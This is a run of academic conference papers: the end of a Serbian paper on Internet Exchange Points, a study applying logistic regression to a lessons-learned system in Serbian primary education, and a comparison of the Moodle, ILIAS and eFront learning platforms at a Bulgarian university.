- Unidata (AS3257, AS12874, AS16004, AS24796, AS20836)

AS-ovi su bili raspoređeni u 3 klase:

- Klijenti koji reprezentuju razne organizacije, univerzitete i kompanije itd;
- Tranzitni internet provajderi koji omogućavaju pristup internetu i tranzitnim servisima. Krajnji cilj tranzitnih internet provajdera je da povećaju

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klijentsku bazu u njihovoj zoni i da smanje troškove korišćenja upstream tranzita pomoću selektivnog *peeringa* sa ISP.

 Content/Access/Hosting provajderi (CAH) su internet provajderi koji nude internet pristup i/ ili serverski *hosting*. Njihovi klijenti su rezidencijalni potrošači ili kompanije bez AS broja, dok su njihovi klijenti za serverski hosting uglavnom content/service provajderi, takođe bez AS broja.

Sledeća dva grafikona, respektivno, bazirana su na prosečnom RTT i broju skokova koji su se dogodili u SBA eksperimentu na meti Seeseb Milan. Svaki grafikon sadrži tri krive, svaka je vezana za jednu AS klasu.



Prosečan RTT (levo) i prosečan broj skokva (desno) za Seeweb Milan tokom SBA eksperimenta

Kriva je CDF koja pokazuje distribuciju performansnih praznina izvedenih iz komparacije indikatora performansi između puteva koji putuju preko IXP-a, i puteva koji ih izbegavaju. Klijent je uzet sa klasom manjih mreža i kućnih potrošača. Možemo videti da oni najviše dobijaju od upotrebe IXP-a. Tako da se može zaključiti da Internet Exchange Point najviše benfita donose upravo kućnim korisnicima.

4. POKRETANJE NOVOG IXP-A

Nije moguće definisati određeni skup instrukcija za pokretanje IXP. Svaki novi IXP suočiće se sa različitim izazovima i radiće pod različitim ekonomskim, tehničkim i pravnim okolnostima [6].

Pitanja koja treba postaviti pre pocetka:

- Da li postoji potreba za novim IXP?
- Da li su korisnici spremni za povezivanje i da plate?
- Koja organizacija treba biti postavljena za vođenje IXP-a?
- Kako započeti IXP sa malo ili nimalo novca i rasporedi snažan infrastruktura prvog dana?

- Koje usluge treba voditi?
- Ljudski resursi potrebni za upravljanje IXP?
- Kako da budemo sigurni da će IXP trajati?
- Kako se širiti i dovoditi nove korisnike?

Izazovi na počektu

Najteži deo sa uspostavljanjem IXP-a nije tehnički deo, nego izgradnja zajednice i poverenje. Takođe, IXP mora biti održiv nakon faze uspostavljanja [7]. Ovo uključuje da ima dovoljno sredstava za rad i unapređivanje opreme u budućnosti, razvojem tehnologije i rasta saobraćaja. Članovi plaćaju naknadu na osnovu njihove veličine porta, tako da je jedna taksa za 1 GE port i jedna za 10 GE porta. Ovo se ne zasniva na stvarnom saobraćaju, vec na brzini porta. Novi IXP su skloni da veruju da je dobra ideja da ponude besplatne priključke clanovima sa velikim sadržajem mreža kako bi privukli druge članove. Na prvi pogled, ovo možda izgleda kao dobra ideja, ali brzo će se naći stisnuti između vlasnika velikog mrežnog sadržaja i broadband operatera, koji takođe žele svoj port besplatno. Generalno, bolje je jednako naplatiti i tretira sve jednako. To može učiniti malo teže da IXP krene, ali svakako čini održavanje IXP lakše na duge staze. Većina vlasnika velikih sadržaja takođe podržavaju nove IXP koji se formiraju u mestima ili regionima u kojima ne postoji IXP.

Institucionalni i operativni modeli za IXP

Usvojeni su razni institucionalnih modela za rad IXP [8]. Oni spadaju u četiri kategorije:

- Neprofitne industrije udruženja ISP-a;
- Operator-neutralna, komercijalna i za-profit preduzeća;
- Univerzitetske i vladine agencije;
- Neformalna udruženja mreža.

Većina evropskih IXP-a izraslo je iz nekomercijalnih organizacija, kao što su istraživačke organizacije .

Većina afričkih IXP-a osnovano je od strane ISP udruženja i univerziteta.

U Sjedinjenim Američkim Državama većina IXP-a su komercijalni, a neki komercijalni IXP su se pojavili i u Evropi.

IXP Neutralnost:

Mnogi ISP izrazili su snažna osećanja o značaju neutralnosti IXP-a, a većina velikih evropskih IXP-a pripisuju svoje uspehe svojoj neutralnosti.

Vlasništvo:

Neutralnost bi mogla biti ugrožena ako ISP član poseduje delove (kao što su oprema itd.) IXP opreme i stiče preko drugih organizacija.

Mnogi IXP započeti su sa donacijama opreme, *rack* prostora, radnika i druge pomoći. To je deo kooperativne prirode većine početnih IXP. U slučaju donacija, sponzori treba da stave u pisanoj formi prirodu sporazuma za IXP, da koristi opremu.

Lokacija

Pored stvaranja zajednice koja će podržiti IXP, drugi važan faktor za uspostavljanje uspešnog IXP-a je njegova lokacija. Pronalaženje adekvatne lokacije koja je neutralana i jeftina veoma je bitno. Prilikom razmatranja mogućih lokacija, sledeći elementi treba da budu uzeti u račun: prostor, kontrola životne sredine, bezbednost, pouzdanost i redundantno napajanje, pristup zemaljske infrastrukture, kablova, i podrška. Odlučivanje o lokaciji verovatno će obuhvatiti procenu postojećih objekata koji se mogu koristiti, a zatim u odnosu na potencijalne opcije lokacije na troškove i trud koji su uključeni u formiranje novog samostalnog objekta. U mnogim zemljama troškovi u vezi sa zakupom prostora, finansijskih sredstava i osoblja zapošljavanja mogu biti visoki. Pored lakšeg pristupa infrastrukture, data centar takođe treba da obezbedi stabilno napajanje, ili vam je potrebno kako bi se osiguralo da imate UPS-eve (Uninterruptible Power Supply) i možda čak i agregate. Takođe, proverite da li postoji prostor za rast IXP. Možda početi samo sa dva rack-a (ormana), ali ako je IXP uspešan možda će biti potrebno više, a pomeranje IXP je uvek teško.

IXP Oprema i Usluge

- Ethernet Switch (Obavezno)
 - Jezgro svakog IXP-a je Ethernet Switch;
 - Ulaganje u opremu koja je najbolja i najviše može da proširi koje finansije dozvoljavaju;
 - Imati 2 *switch*-a je uvek dobro, ako sredstva mogu da dozvole.
- Adresni prostor (Obavezno)
 - IXP će zahtevati IP adresni prostor za peering.
- *Route server* (Opciono)
 - Tokom početnih faza podešavanja, imati *route* server obezbeđuje lakoću konfiguracije novih članova.

- Veb i Mail serveri (Opciono)
- Transit Router (Opciono)
- Route Collector (Opciono)
 - Takođe se naziva looking glass, koji pomaže članovima IXP-a prilikom rešavanja problema. Može se koristiti za prikupljanja ruta za merenja.

Postoji veliki broj osnovnih usluga koje IXP može da ponuditi svojim članovima izvan zajedničkog povezivanja. Ove usluge se razlikuju kod svakog IXP-a i ni na koji način se ne takmiče sa svojim članovima [4].

Pružaoci drugih usluga, koje nisu mrežni operatori, mogu se povezati u IXP, uključujući i:

- pružaoci keša sadržaja (CDN);
- DNS root serveri;
- country code top-level domain (ccTLD) name server instances;
- vremenski serveri;
- Looking Glass ili Routeview serveri.

Davaoci ostalih usluga mogu biti privatna preduzeća, nevladine organizacije (NVO), vladine mreže, ili sama IXP operater. Kao i mrežnih operatera, davaoci drugih usluga moraju da instaliraju i održavaju svoju opremu u IXP-u i moraju da podržavaju svoje usluge.

Osoblje IXP-a

Koliko zaposlenih je potrebno jednom IXP-u [5]?

- 1 do 3 finansijski održiv (čak i na početku)
 - Nemogućnost da se održi 24/7 NOC;

- IXP više zavisi od opreme nego što zavisi od ljudi.

 5+ finansijski održiv samo ako je IXP porasla za pružanje više usluga, onda puka IXP

- Sposobnost da održe kvalitet I korisničku podršku i brzo reakciono vreme u hitnim slučajevima (24/7 NOC).

IXP Website

U većini slučajeva IXP veb-strana je njegov prvi kontakt i referentna tačka za sve zainteresovane stranke.

Oni koji dolaze na sajt IXP-a spadaju pod 4 kategorije:

- 1. Potencijalni IXP učesnici;
- 2. Trenutni IXP članovi;
- 3. Javnost;
- 4. IXP osoblje.

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Potencijalni IXP učesnici

Najvažnije ciljna grupa. Većina IXP-a je u potrazi za povećanjem njihovog IXP-a sticanjem dodatnih i vrednih učesnika.

Važne informacije za ovu grupu su:

- Ko su sadašnji učesnici IXP-a?
- Iznos saobraćaja koji se razmjenjuje na IXP-u;
- Tehnička podešavanja i pravila;
- Troškovi priključka;
- Postupak povezivanja;
- Kontakt informacije i pitanja.

Trenutni IXP članovi

Ova grupa će često posećivati sajt IXP-a i važne informacije ovoj grupi uključuju:

- *Peering* informacije i alati;
- Grafikoni upotrebe, statistika, topologija mreže;
- 24h kontakt informacije;
- Stalne informacije razvoja na IXP-u (novi članovi, planirano održavanje, tehnički sastanci itd.).

Javnost

Istraživači koji su se zainteresovali za internet i IXP širom sveta. U principu, oni traže statistike i kretanje saobraćaja koji se razmenjuju na IXP-u. Ostale informacije vezane za IXPk, kao što je IXP godina osnivanja, brend Switch-a koji se koristi, pružene usluge i još mnogo toga.

Pored toga, drugi neistraživači mogu biti u potrazi za više informacija, kao što su:

- Šta je IXP?
- Osnovne informacije o IXP-u (istorija);
- Status IXP-a dana.

IXP Osoblje

Kako IXP raste, veb-sajt IXP-a postaje korisna alatka za komunikaciju za:

- Tehničko osoblje i inženjere;
- Administraciju i finansijski menadžment;
- Prodaju i marketing;
- Nadzor menadžment i izveštavanje.

4. ZAKLJUČAK

Internet Exchange Point, od samog trenutka nastanka, pa do danas, imao je za cilj optimizaciju internet konekcije između međusobno povezanih članova globalne mreže. Teoretski i empirijski dokazi argumentuju važnost IXPa. U ranim fazama, IXP je pomogao lokalnim internet provajderima da smanje troškove internacionalnog tranzita i poboljšaju kvalitet usluge.

Internet provajderi imaju niže operativne troškove jer je razmena lokalnih podataka daleko jeftinija od IP tranzita. Samim tim, krajnji korisnici plaćaju manju pretplatu internet provajderima. Rezultat smanjenja troškova dovodi do veće kupovina kompjuterskog hardvera i softvera zbog veće iskorišćenosti. U radu je predstavljena kritična važnost *Internet Exchange Point-a* na današnji internet, a samim tim i današnji svet koji u sve većoj meri zavisi od globalne povezanosti.

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INTERNET EXCHANGE POINTS

Abstract:

The Internet of today is made of over 50,000 networks that are controlled by private owners. Together, these networks provide opportunities for global connectivity. To make connections possible in today's world, these networks must communicate with each other. It is here that we come to the concept of Internet exchange point (IXP) through which we get the technical ability to connect networks and exchange data. In this paper we will show measurements that prove that IXPs have a positive effect on network performance. Also we will explain the steps of starting IXP.

Keywords:

Internet exchange point, Internet, ISP.



IMPLEMENTATION OF DATA MINING ANALYSIS INTO THE LESSONS LEARNED SYSTEM IN PRIMARY EDUCATION

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Abstract:

Changing people's function in the education system of the Republic of Serbia, as the first important step in the implementation of lessons learned (hereinafter: LL), would allow educators in primary education system to admit and openly discuss the perceived mistakes made during the working process and also share what has been observed or done with other educational units within or outside the education system of the Republic of Serbia. It is an essential prerequisite for the efficiency and implementation of the LL. The achievement of the above involves the development of the capacity for self-analysis in an atmosphere where there is no danger of being condemned or criticized for making mistakes - mistakes should not be ignored if we want to avoid a decline in educational achievement.

This paper describes the basic functions and gives a suggestion for software functionality LL with the aim of improving the educational process and assisting in the professional orientation of students' basic education.

Also, the paper gives the results obtained by the author, analyzed by the software program "SPSS" (Statistical Package for the Social Sciences) using the techniques of data mining as well as binary logistic regression.

Keywords:

basic education, data mining, binary logistic regression, information transfer.

1. INTRODUCTION

The school system of primary education in the Republic of Serbia is not sufficiently prepared to be changed and to achieve the goals set by the reformers. The main flaw is the inability of reformers to counteract this trend. A proof of such allegations are the results of "PISA" (Programme for International Student Assessment) tests carried out in the Republic of Serbia, which assume constantly "poor results", and therefore suggest that the quality of education is not at the expected level.

Results of the last PISA tests show that more than a third of 15-yearolds are functionally illiterate. Nearly 40 percent of students are below the level of mathematical functional literacy, a third do not meet the minimum functional linguistic knowledge, while 35 percent of scientific functional literacy. From all the above, it can be concluded that the problems in basic

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e-mail: julija2921968@gmail.com education in the Republic of Serbia have not been considered so that lessons are identified as a negative practice to be processed through the system whose product could be "lessons learned".

2. DEVELOPMENT OF LL IN THE SYSTEM OF PRIMARY EDUCATION

The basis for further monitoring and understanding the importance of LL in the Primary Education System of the Republic of Serbia (hereinafter: PES RS) is the understanding of the concepts of "lesson" and "lesson learned".

Lesson knowledge or understanding is gained through experience. The experience can be positive (best practices) as a successful test, a mission, practice, or workshop, or negative, such as accidents or failures. Successes and even failures can be considered as a source of lessons.

The lesson is learned when there is a change in behavior. Obviously, this change in behavior has to be a positive one, which should improve the performance of the system considered.

There are some very serious reasons why PES RS needs to develop its capacity through effective LL. Some of the reasons are:

- It saves time, since it provides a central location for storing and enables efficient retrieval of valuable information.
- Reducing or avoiding the costs of providing information about the success or mistakes that can be avoided.
- The possibility of extending information network providing the ability to share information and connect with other sites, "experts" or people doing similar things.
- Most importantly, it reduces the risk of repeating mistakes and increases the chance of success.

3. PROPOSAL STRUCTURE LL PES RS

Program LL can be a mechanism linking the existing range of tools that facilitate learning and information transfer. An extensive network of individuals who contribute to the process of sharing knowledge through the system have the potential to use information technology quickly overcoming time-critical points in the LL and to provide access to relevant information to all interested users. This can be especially important in cases where the information relates to events that may have very negative consequences on the functioning of the educational institution.

Although the observation is the first building block in the process of identifying good and bad practices or events, the educational institution usually cares if the lessons are identified as problematic. Results of the analysis in the development of lessons, best practices and recommendations for corrective action should help solve problems. Figure 1 shows the structure based on LL.





A topic is a general theme that has been identified as a potential problem.

An observation is a statement based on experience or perceived during teaching.

A lesson represents a potential solution to the problem based on experience and observations of irregularities.

A recommendation represents corrective actions which, when taken, should solve the perceived problem.

The best practice is the solution to the problem, or actions, procedures and technical solutions that are used in work.

The lesson learned here is the statement that the implementation of corrective solutions leads to better results and results expected by the students.

Programs LL will vary according to the needs of the institution, but most will have at least six functions as follows:

- Data collection.
- Data analysis.
- Sharing of information.
- Archiving.
- Settlement and
- Assessment.

Algorithms of LL functionality are shown in Figure 2.



Fig. 2. Algorithms of LL functionality Source: Author

Collecting data is the first function of a LL's ability to collect data relevant to the subject of the analysis. Options for the collection of data on issues in accordance with the institution's mission should be supported by the LL. Here is a list of potential options for information collection:

- Tasks and exercises made by students.
- Experiments and tests that support the teaching unit.
- Constant monitoring of the work and progress of students and
- Interviewing.

4. IMPLEMENTATION OF DATA MINING METHODS IN LESSONS LEARNED SYSTEM

Analysis is the process that is used for a thorough understanding of the field and has the function of recognizing the potential for improving the functioning of the institution.

For the purposes of research and implementation of data mining method of binary logistic regression, the collected data should be sorted into groups, as follows:

The first set of data is obtained from a survey of teaching staff of eight elementary schools from the territory of the City of Belgrade and the municipalities of Cukarica, Obrenovac and Rakovica. Questionnaire - Likert scale paragraphs 1-5 (8 independent and 51 dependent variable). Total of 302 respondents (2 surveys are invalid), processed in the program tool "SPSS" 300 surveys.

The second group of data is obtained from a survey of parents whose children attend primary school in the area of the City of Belgrade and the municipalities of Cukarica, Obrenovac and Rakovica. Questionnaire - Likert scale paragraphs 1-5 (7 independent and 32 dependent variables). A total of 320 respondents (20 poll will be void), processed in the program tool "SPSS" 300 surveys.

The third group of data is the data:

- The total number of the employees of the teaching staff at eight elementary schools from the territory of the City of Belgrade and the municipalities of Cukarica, Obrenovac and Rakovica.
- The total number of pupils in these schools.
- The number of eighth-grade students at the end of the school year 2014/2015.
- The results achieved (grade point average) during training in mathematics and mother tongue and
- The results of the final exam (students' mastery of knowledge and skills).

After the data collection and transformation of data into the software package "SPSS" for the first and second sets of data, factor analysis was performed as follows:

Exploratory factor analysis and confirmatory factor analysis.

Exploratory factor analysis of the first group of data acquired through questionnaires answered by teaching staff of eight elementary schools set aside a total of 13 factors of 8 independent and 51 dependent variable, where the author of the paper, for the comparative analysis of the data of the first and second groups of data, lists 7 factors: FN1 - method of operation and organization of the scientific (MRON), FN2 - social factor (SF), FN3 quality of work (KR), FN4 - the use of ICT in teaching (ICT), FN5 - syllabus (ON), FN6 – parents' engagement (AR) and FN7 - content textbooks (SU).

Confirmatory factor analysis was performed on data by extraction method "PCA" - (Principal Component Analysis), which was verified by grouping variables, and which confirmed that these variables are essentially grouped around the above factors.

Variables which respondents gave with a similar attitude or sense of FN1 are: V3 - In your opinion, are the classes held successfully, V4 - In your opinion, your colleagues hold classes successfully, V8 - The success of the students from your course is at a high level, V10 - Physical activity positively affects the learning ability of the students, V14 - Students are in classes, V15 - Students are aware of the application of lessons learned, V19 - Are you satisfied with the working conditions and V40 - Teaching by topics has advantages over teaching of particular cases. The results of confirmatory factor analysis, total factor Explanation of variables: FN1 - the methods of teaching (MRON) is given in Table 1.

onent		Initial Eigenvalues	3	Extraction	Extraction Sums of Squared Loadings			
Comp	Total % of Variance Cur		Cumulative %	Total	% of Variance	Cumulative %		
1	3.759	46.992	46.992	3.759	46.992	46.992		
2	0.913	11.409	58.401					
3	0.848	10.594	68.995					
4	0.771	9.638	78.633					
5	0.691	8.640	87.272					
6	0.589	7.363	94.635					
7	0.239	2.990	97.624					
8	0.190	2.376	100.000					

Table 1. Results of confirmatory factor analysis for teaching staff

Source: Author

The system method was factor analysis for the second group of data obtained in the survey of parents whose children attend primary school.

The results of confirmatory factor analysis are preserved by programming tool "SPSS" as a variable to build a model of binary logistic regression.

As an important factor for predicting the level of achievement the author of this paper carried out comparative analysis FN6 - involvement of parents (teachers) and FR6 - involvement of parents (parents' attitude) using binary logistic regression.

Confirmatory factor analysis confirms that the variables V16, V21, V22 grouped around a single factor, shown in Table 2.

Q16 - Do you have regular contact with the teaching staff of the school in which your child is being educated, V21 - You have proposed in any way that teachers improve the educational process and V22 – your child does not pay enough attention to teachers at school.

Component
1
0.928
0.982
0.976

 Table 2. Results of confirmatory factor analysis

 Source: Author

5. OVERVIEW OF THE BASIC METHODS OF DATA MINING

Basic methods of data mining used by the algorithm analysis fall into two main groups (Han & Kamber Data 2001): DM method using supervised algorithms and unsupervised algorithms.

Supervised algorithms are those in which models are built using the data so as to know in advance the groups which the data belong to, and then on the basis of the constructed model predict the group to which the unknown data will belong. These gathering methods belong to the classification of data and regression methods.

Non-supervised algorithms are based on the given data forming groups of data, without prior knowledge about to which group data might belong. This set of methods belongs to the grouping and association rules.

Regression is a method that predicts the value of numeric attributes. Based on the known values of attributes of the given data we determine model parameters, and then on the basis of the model parameters we determine unknown attribute values of new data.

The regression model with its evaluation methods is suitable for areas where the classification codes are used to predict categorical (discrete, unsorted) variables. Regression is used to predict the missing or unavailable

numerical values before the tag class. Prediction refers to both types of predictions, numerical and class prediction.

Regression analysis is a statistical method that is used primarily for numerical forecasting, and as such includes the identification of trends over the available data (De Veaux, 2003; Goharian & Grossman, 2003).

There are several different types of regression in statistics, but the more general idea is to create a model that maps values of predictors in a way that the possibility of error in forecasting is the smallest. Basic types of regression are (Han & Kamber Pei, 2012; Ngai, et al., 2011): linear regression, multiple regression, logistic regression and nonlinear regression.

Linear regression is the simplest form of regression in which the value of the dependent random variable Y is defined as a linear function of the predictive variables X:

$$Y = \alpha X + \beta \tag{1}$$

where the regression coefficients $\alpha \ \mu \ \beta$ are determined using the method of least squares.

Given a set of samples is Y, wherein each pattern is shown as a two-dimensional vector (x_i, y_i) . Number of samples is y.

Ratios α и β are defined as:

$$\beta = \frac{\sum_{i=1}^{u} (x_i - \bar{x})(y_i - \bar{y})}{\sum_{i=1}^{u} (x_i - \bar{x})^2}, \quad \alpha = \bar{y} - \beta \bar{x}$$
(2)

The values:

$$\overline{x} = \frac{\sum_{i=1}^{u} x_i}{u} \qquad \overline{y} = \frac{\sum_{i=1}^{u} y_i}{u}$$
(3)

Multiple regression is an extension of linear regression. In contrast to the linear regression analysis it involves more than one predictive variable. The dependent variable Y is defined as a linear function of the multidimensional vector of predictive variables. The general form of multiple regression is:

$$y = \alpha_1 x_1 + \dots \alpha_n x_n + \beta_1 \tag{4}$$

Where the parameters α_1 , β_1 are determined by the method of least squares.

Logistic regression is an extension of linear regression with the restriction that the range of values that can take the dependent variable Y can only be in the range [0, 1].

The logistics function thus modeled as a linear function of the probability of predictive variables, the general form is:

$$y = \frac{1}{1 + e^{-x}}$$
(5)

If the variables in the models do not show linear than polynomial dependence, a polynomial dependence must be reduced to a linear form and the matter further as a linear regression.

Showing results of binary logistic regression on the attitude of parents to FR6 factor - the involvement of parents in relation to the level of achievement is shown in table 3.

Based on these results we can conclude that regular contact of parents with teaching staff at the school has a positive impact on improving the level of student achievement to a significant extent; the proposals on working methods will also have a positive impact on the improvement of the level, but to a lesser extent; the lack of attention from students the teachers greatly decreases the level of education (applies to gifted students and students with special needs).

		D CE	CE I	E Mald	df	Sig Ex	n(P)	95% C.I.for EXP(B	
		D	SE V	valu	ai	Sig. Ex	р(в)	Low	Upper
	V16	1.251	0.767	2.662	1	0.103	3.495	0.777	15.716
Step	V 21	0.148	0.285	0.271	1	0.603	1.160	0.664	2.026
	V 22	-1.387	0.771	3.233	1	0.072	0.250	0.055	1.133
	Cons	0.427	0.257	2.760	1	0.097	1.532		

Table 3. Showing results of binary logistic regression to the attitude of parents to factor FR6

Source: Author

Described above, and after the binary logistic regression indicates that the probability of the level of achievement for residents analyzed 0.41, and the same can be increased by increasing the activity of parents both at the individual and the general-school level.

6. FOR USER INTERFACE OF LL PES RS

The paper provided examples of "Open Source Technology" for the implementation of the Proposals solutions LL PES RS, which can be used under Windows and Linux platforms, and their integration with LL PES RS will not affect the operation of LL PES RS by the proposed concept.

An important aspect of the solution each represents a system for managing databases such as MySQL, multi-threaded, multi-user SQL system. The system works as a server providing multi-user interface to access the database that is widely used as an open-source system for managing relational databases (relational database management system - RDBMS).

An example of the user interface for data entry and database creation "Microsoft Visual Studio - Basic 2008 Express Edition", is shown in Figure 3



Figure 3 interface for data entry and database creation under attack "Microsoft Visual Studio - Basic 2008 Express Edition"

7. CONCLUSION

Finding patterns, trends and anomalies in data groups, and their summarizing the proposed model is one of the biggest challenges in the information age - turning data into information and information into knowledge.

The aim of this paper is focused on the development of the original, universal methods of forecasting and decision-making methods of data mining, which is confirmed in the case of building a system of lessons learned.

Increasing the level of achievement is not an end in itself, it should provide a better understanding of the real needs of both students and teachers and society in general, it is a tool for achieving better results in education.

The main problem in the existing educational policy is the lack of connection between institutions within the same system and the lack of understanding that we should learn from mistakes. Open analysis of the problems identified in the educational process will ensure that the same mistakes are not repeated in future work.

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INFORMATION TECHNOLOGY IN EDUCATION

STUDY OF E-LEARNING SYSTEMS

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Abstract:

Distance learning is becoming more and more popular every year and it is suitable for people with busy schedules and limited time. At the Technical University in Gabrovo, Bulgaria, we started a project for building an e-learning system, based on learning management systems for distance learning and a new approach in teaching. Our platform is not unified for the whole university at the moment. It is based on Moodle and Ilias LMS and it has some interesting extensions. The aim of this paper is to compare different LMS systems, describe some technical details, encountered differences between these systems and attempt to make them work together.

Keywords:

e-learning, LMS, Moodle, Ilias, virtual library.

1. INTRODUCTION

The Technical University of Gabrovo, Bulgaria is an academic and research organization, which provides high-quality education in conformity with the labor market needs for modern broad-profile Bachelor degrees, as well as modern Master and Doctor Degrees in the field of engineering and technologies, business and social sciences. A guarantee for this is the institutional accreditation of the university and the program accreditation of the degree courses in the professional trends for Bachelor and Master and the research programs for Ph.D. degree, granted by the National Evaluation and Accreditation Agency. The quality management system implemented for the training, research and academic staff of the university has been certified according to ISO 9001:2000 and ISO 9001:2008 by DQS GmbH and IQNet. The Technical University of Gabrovo has been accredited by the European Society for Engineering Education IGIP and by the European Federation of National Engineering Associations FEANI.

The university has three faculties - Faculty of Electrical Engineering and Electronics, Faculty of Mechanical and Precision Engineering and Faculty of Economics. Until 3 years ago we had only in-presence learning form.

The project BG051PO001 – 4.3.04 – 0051 "Development and implementation of virtual technologies for sustainably development of distance learning the Technical University of Gabrovo" was initiated and was financed from Human Resources Development Operation Program of

the Ministry of Labor and Social Policy of the Republic of Bulgaria. It started in October 2012 and finished in October 2014 [6, 10]. The e-learning platform is based on Moodle LMS [1], now it is online and it already contains 122 courses from Bachelor's degree programs, master degree programs, modules for alignment of new student's knowledge and also modules developed from business companies. The plan of our university is to offer distance learning in at least three Bachelor and three Master programs.

2. COMPARISON OF ILIAS, MOODLE, EFRONT

There are a variety of learning management systems (LMS), like: Moodle, eFront, ILIAS, Docebo, A Tutor etc. Even though they are similar products they all have specific features. Three of the most popular learning management systems are Moodle, eFront and ILIAS. This paper is focused on all three of them and its goal is to present the main features of these systems and show some specifics.

What do all systems have in common?

In order to distinguish the systems, the first common features must be pointed out. All of the three systems are open source and are compatible with the SCORM standard [2]. This standardization guaranties that all content uploaded to certain system can be migrated to all other systems flawlessly. They also have the basic components necessary for online courses and exam conductions: the ability to upload content, testing, surveys, setting exercises, reports and many more.

Users' access to the systems is provided through individual accounts, as the rights of each user are determined by preset in the system user roles. Teacher accounts are able to create courses, upload content and schedule exams. Student accounts can only read specific course content if enrolled and can take exams online.

Other features of the systems:

- Communication means: internal email system, chat, blog, forum;
- Data transfer: wikis, dictionaries;
- Options for issuing certificates;
- Calendar.

The systems are very similar in terms of their components. The systems differ in terms of working logic, the construction of internal content and additional extras. These components determine the level of difficulty for using any of the systems. After having clarified the common features of the systems, in order to distinguish them from one another we have to point specifics regarding their distinctive characteristics.

3. ILIAS

ILIAS [3] is created at the Faculty of Business Administration in Cologne, Germany. The product has good quality and functionality and it meets all needs that the client of LMS may have. It has one disadvantage compared to the other two systems, ILIAS is more complicated, so teachers and students will need more time to become familiar and work with it. But this disadvantage is mainly because it has the largest range of options and work opportunities that makes it the most preferred system when it comes to flexibility and functionality.

The ILIAS platform offers many learning objects and opportunities to make modern and colorful courses. It supports many standard objects, such as tests and learning modules. ILIAS also supports some Web 2.0 features - RSS, podcasting and Google Maps, which can make any training unique in its interactivity. An interesting feature is the ability for using internal and external news channels.

The system can be used as a library and a database, according to user's needs. 27 different kinds of objects can be created in the system and they can be arranged in various combinations. They can serve as data containers, information of different type, users' organization, etc.

This platform is used by various governmental and non-governmental organizations, like NATO, the National Community of American Veterans, Department of Defense - Belgium, Holland, France and others. Its distinctive feature is that it is certified to work with NATO projects, which is indicative for the software quality and security.



Fig. 1. ILIAS courses overview.

The installed system in our university is intended for teachers, who intend not only to train their students, but who need long-term storage of archives and data collections [7]. It is installed on new dedicated server with RAID storage array. By the possibilities of using Web 2.0, the system can become something more than an online learning tool. It can hold all discipline materials, student exam score logs, laboratory exercises and "Computer Systems and Technologies" department scientific researcher papers.



Fig. 2. ILIAS export options.

The main advantage of this system is that all courses can be exported from this platform in XML, HTML or SCORM format (fig.2) and easily deployed in any other learning management system that supports these formats.

Currently there are four IT courses uploaded to this website (fig.1) and the plan is to extend bachelor degree courses to become 22 and 12 master degree courses to be total of 34 courses to the end of this calendar year. These courses cover the full curriculum of "Computer Systems and Technologies" degree course. Our goal is to provide students with quality instructions and skills, which are necessary for their realization as leading specialists in constantly renewing theory and practice in computer systems and technologies. Our graduates are expected to be competent and highly qualified professionals in the field of software and hardware as well as to be prepared to pursue higher education degrees.

4. EFRONT

This product is created in 2001 in Greece by Dimitri Tsigos and Anastasios Papagelis [4]. They were driven by customer-focused approach, which makes the system suitable for companies and educational institutions.

Teachers and students can perform the same actions as in the other two platforms, but with a minimum number of clicks, saving time for work and making the study of the system very easy. This is why there is no need for external assistance once the system is put into operation. There are features like internal email, chat and forum functions implemented in the system, so communication between teachers and students, and between students themselves is easy and convenient.

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Fig. 3. eFront online testing environment.

eFront is available in three versions: for companies, for educational institutions and for free usage. It is developed according to the specific needs of every client and therefore there are a lot of interesting features. Currently, the system is supported in 50 languages that have two versions – professional human translation and machine translation. Bulgarian language is available only in the machine translation format, so not all menu options are translated correctly and there are some inadequate words. Every language can be added to the platform very easily just by downloading it from the web site and uploading it on the system.

Our first glimpse of this product was via online demo presented by vendor website (fig.3) [5]. There are some limitations using this demo version, i.e. there is no way to install different languages and not all features are available, so in order to test its full capabilities we had to install it on our own server (fig.4). Once we had installed in on our datacenter server we were able to localize interface in Bulgarian and experience the full set of capabilities of this system.

The platform eFront is very easy for use. Its interface is very clean, simple and straight forward.

The software is extremely suitable for all kinds of companies, educational institutions and organizations that experience the need to conduct online courses and test their learners' knowledge.



Fig. 4. eFront administrative interface.

5. MOODLE

According to many sources Moodle is the world's leading company dealing with educational and technological consultations and leading position in learning management systems ratings, preferred by the universities for the high results that the systems performs. One of the reasons that make this platform so desirable by educational institutions is the fact that it supports over 100 languages.

The Moodle system [1] is quite suitable for both individual teachers and universities with thousands of students. Nowadays, the platform is used by hundreds of universities in Australia, America and Europe, such as London School of Economics and Political Science, University of Sydney, Brigham Young University, California State University, etc. In Bulgaria it is used at Sofia University and also at Technical University of Gabrovo since 2014 year [10].

The main idea that resulted in creating this platform was to make it useful for different kinds of educational institutions: schools, universities, etc. Because of this reason, teachers can easily put and structure learning content and their students can easily find the way to it and get the maximum of the learning process. There is also a possibility to import and export different content and teachers can utilize any HTML, PDF or SCORM [2] material.

The Moodle system is being developed to be oriented towards creation of community of Moodle users, where users and creators can communicate and help each other. Developers, on the one hand, assist users in the usage of all system features and on the other hand, take their ideas for improvements. There are a lot of books and tutorials explaining the structure and features of Moodle learning management system [8].



Fig. 5. Moodle main view.

When this platform was for the first time introduced at our university it was selected because it was an open source and free of charge. The version used at the time was 2.3, which was the last stable one by the end of the year 2012 [10]. During the summer of 2014 it was upgraded to the most recent version available at the moment. It was running on Windows 2008 R2 Server with Apache web server, MySQL database and PHP. Last year it was migrated to a new server with virtualization and runs on Windows 2012 Server. All modules were updated to latest versions too. At the moment this is the main distance learning platform at our university. The e-learning system can be reached at the address http://dmoodle.tugab.bg [6]. Its main screen is shown at Fig. 5.



Fig. 6. Moodle statistics module.

The statistics module became necessary, because we needed to find a way to prove to the ministry the actual count of students who have taken some courses, the actual time every student spent on the course and the results achieved. For this we used the standard Moodle plugin – Graph Stats (block_graph_stats) [9, 10]. This module can be downloaded from the Moodle plugins directory and must be installed in the standard way for installing plugins in Moodle. It displays a little graph with visitors' statistics, as shown in Fig. 5 and 6. Parameters like size, colors, style, number of days and engine used (Moodle/ Google) are configurable and can be changed as needed.

We believe that Moodle is very suitable for educational institutions and educational companies of all types and sizes.

6. CONCLUSION

These three learning management systems are widely used not only around the world, but also here, in Bulgaria. They have many features that simultaneously unite and differentiate them. The choice witch one to use depends on your own objectives and needs. We hope that this paper helped understand some of the advantages, offered by the online learning systems and the three systems in object of study.

